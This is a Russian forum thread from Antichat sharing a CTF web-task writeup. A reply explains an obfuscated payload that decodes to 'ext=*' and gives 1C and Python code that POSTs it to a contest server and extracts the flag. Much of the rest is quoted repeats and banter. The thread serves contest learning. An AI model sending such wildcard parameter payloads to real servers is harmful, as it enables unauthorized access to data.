ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Writeup. Нулевой заказ (Веб) (https://forum.antichat.xyz/showthread.php?t=1642593)

artesk 20.11.2023 17:22

Всем привет!

Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.

Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни

https://forum.antichat.xyz/attachmen...0486503698.png

https://forum.antichat.xyz/attachmen...0486548210.png

Jackerinho 20.11.2023 20:24

Есть гайд для самых маленьких как это будет выглядеть на c#/python? И откуда взялся paylaod?

ALT1RE 24.11.2023 17:03

Цитата:


Jackerinho сказал(а):

Есть гайд для самых маленьких как это будет выглядеть на c#/python? И откуда взялся paylaod?


Разбор для самых маленьких.

Это типичный код 1С-ника - возможно, им за кол-во строк кода платят, ибо я часто встречаю в исходниках строки типа "Если Число = 1 Тогда Число = 1; Иначе Число = 1; КонецЕсли;". А тут более изящный вариант (но может я еще слишком маленький чтобы понять великий замысел подобных изворотов):

За кадром строка полезной нагрузки была переведена в десятичное представление; после полученный массив ([101, 120, 116, 61, 42]) сериализован в формат строкового представления и полученная строка закодирована в Base64. Зачем - потому что можем.
Так получили пейлоад.

Далее в эксплойте раскручиваем все в обратном порядке, обзывая переменные якобы смешными именами:

Код:


Код:

УЙ = ЗначениеИзСтрокиВнутр(ПолучитьСтрокуИзДвоичныхДанных(Base64Значение(пейлоад))); 
СпортивноеТело = "";
   
Для Каждого Х из УЙ Цикл
    СпортивноеТело = СпортивноеТело + Символ(Х);
КонецЦикла;

где:

Код:


Код:

Base64Значение - Получает из строки закодированной по алгоритму base64 двоичные данные.
ПолучитьСтрокуИзДвоичныхДанных - Преобразует двоичные данные в строку с заданной кодировкой текста.
ЗначениеИзСтрокиВнутр - выполняет обратную операцию десериализации из строкового представления в программный объект
УЙ - массив десятичных чисел
Символ(Х) - Преобразует код символа в строку, содержащую символ.

После пейлоад добавляется в тело запроса, запрос отправляется и из полученного ответа регулярками достается флаг.

А на питоне это выглядело бы так:

Python:


Код:

import
requests

response
=
requests
.
post
(
'http://62.173.140.174:16028/'
,
data
=
ПЕЙЛОАД
,
headers
=
{
'Content-Type'
:
'application/x-www-form-urlencoded'
}
)
if
response
.
ok
:
print
(
response
.
text
[
response
.
text
.
find
(
"CODEBY{"
)
:
response
.
text
.
find
(
"}"
,
response
.
text
.
find
(
"CODEBY{"
)
,
len
(
response
.
text
)
)
+
1
]
)


artesk 24.11.2023 17:44

Цитата:


ALT1RE сказал(а):

Разбор для самых маленьких.

Это типичный код 1С-ника - возможно, им за кол-во строк кода платят, ибо я часто встречаю в исходниках строки типа "Если Число = 1 Тогда Число = 1; Иначе Число = 1; КонецЕсли;". А тут более изящный вариант (но может я еще слишком маленький чтобы понять великий замысел подобных изворотов):

За кадром строка полезной нагрузки была переведена в десятичное представление; после полученный массив ([101, 120, 116, 61, 42]) сериализован в формат строкового представления и полученная строка закодирована в Base64. Зачем - потому что можем.
Так получили пейлоад.

Далее в эксплойте раскручиваем все в обратном порядке, обзывая переменные якобы смешными именами:

Код:


Код:

УЙ = ЗначениеИзСтрокиВнутр(ПолучитьСтрокуИзДвоичныхДанных(Base64Значение(пейлоад)));
СпортивноеТело = "";
 
Для Каждого Х из УЙ Цикл
    СпортивноеТело = СпортивноеТело + Символ(Х);
КонецЦикла;

где:

Код:


Код:

Base64Значение - Получает из строки закодированной по алгоритму base64 двоичные данные.
ПолучитьСтрокуИзДвоичныхДанных - Преобразует двоичные данные в строку с заданной кодировкой текста.
ЗначениеИзСтрокиВнутр - выполняет обратную операцию десериализации из строкового представления в программный объект
УЙ - массив десятичных чисел
Символ(Х) - Преобразует код символа в строку, содержащую символ.

После пейлоад добавляется в тело запроса, запрос отправляется и из полученного ответа регулярками достается флаг.

А на питоне это выглядело бы так:

Python:


Код:

import
requests

response
=
requests
.
post
(
'http://62.173.140.174:16028/'
,
data
=
ПЕЙЛОАД
,
headers
=
{
'Content-Type'
:
'application/x-www-form-urlencoded'
}
)
if
response
.
ok
:
print
(
response
.
text
[
response
.
text
.
find
(
"CODEBY{"
)
:
response
.
text
.
find
(
"}"
,
response
.
text
.
find
(
"CODEBY{"
)
,
len
(
response
.
text
)
)
+
1
]
)


Нам(1Сникам) платят не за строчки, а за символы. Я хорошо поднялся на этом сниппете кода! Спасибо за детальный разбор

Cruel Lord 27.11.2023 11:44

Цитата:


artesk сказал(а):

Всем привет!

Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.

Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни

Вот это вы заморочились)

veterok 29.11.2023 22:21

Цитата:


artesk сказал(а):

Всем привет!

Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.

Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни

Господа бандиты, не поясните пэйлоад {"#",51e7a0d2-530b-11d4-b98a-008048da3034,{5,{"N",101},{"N",120},{"N",116},{"N" ,61},{"N",42}}}?

ALT1RE 30.11.2023 01:53

Цитата:


veterok сказал(а):

Господа бандиты, не поясните пэйлоад {"#",51e7a0d2-530b-11d4-b98a-008048da3034,{5,{"N",101},{"N",120},{"N",116},{"N" ,61},{"N",42}}}?


читайте второй комментарий

sweetpotatohack 12.05.2024 00:50

Цитата:


artesk сказал(а):

Всем привет!

Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.

Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни

Вы же в курсах что этот таск можно решить по другому? Гораздо легче) вы конечно круто все расписали, приклоняюсь перед вашим скилом. Но решение гораздо проше чем вы думаете)

ALT1RE 13.05.2024 15:30

Цитата:


sweetpotatohack сказал(а):

Вы же в курсах что этот таск можно решить по другому? Гораздо легче) вы конечно круто все расписали, приклоняюсь перед вашим скилом. Но решение гораздо проше чем вы думаете)


ну сразу рассказал бы как! к чему эти бессмысленные сообщения плодить?!


Время: 10:42